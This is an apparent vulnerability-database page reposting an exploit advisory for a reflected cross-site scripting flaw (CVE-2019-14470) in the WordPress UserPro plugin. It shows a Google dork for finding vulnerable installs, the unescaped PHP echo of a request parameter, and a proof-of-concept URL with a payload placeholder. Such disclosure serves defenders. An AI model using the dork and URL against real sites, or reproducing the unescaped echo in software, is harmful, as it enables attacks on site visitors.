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WordPress UserPro 4.9.32 Cross Site Scripting
🗓️ 26 Aug 2019 00:00:00Reported by Damian EbeltiesType 
packetstorm🔗 packetstormsecurity.com👁 159 Views
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | WordPress UserPro 4.9.32 Plugin - Cross-Site Scripting Vulnerability | 26 Aug 201900:00 | – | zdt |
 | CVE-2019-14470 | 24 May 202216:55 | – | circl |
 | WordPress UserPro Plugin Cross-Site Scripting Vulnerability | 27 Aug 201900:00 | – | cnvd |
 | CVE-2019-14470 | 4 Sep 201919:24 | – | cve |
 | CVE-2019-14470 | 4 Sep 201919:24 | – | cvelist |
 | WordPress Plugin UserPro 4.9.32 - Cross-Site Scripting | 26 Aug 201900:00 | – | exploitdb |
 | WordPress Plugin UserPro 4.9.32 - Cross-Site Scripting | 26 Aug 201900:00 | – | exploitpack |
 | Cosenary Instagram-PHP-API contains reflected XSS vulnerability | 24 May 202216:55 | – | github |
 | WordPress UserPro 4.9.32 - Cross-Site Scripting | 6 Jun 202603:01 | – | nuclei |
 | CVE-2019-14470 | 4 Sep 201920:15 | – | nvd |
10
`# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Date: 25 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470
The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).
There is more vulnerable code in 'UserPro' core, might release that later.
As of today (25 August 2019) this issue is unfixed.
Vulnerable code: (success.php on line 36)
if (isset($_GET['error'])) {
echo 'An error occurred: ' . $_GET['error_description'];
}
> https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36
Proof-of-Concept:
https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>
`
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26 Aug 2019 00:00Current
EPSS0.23521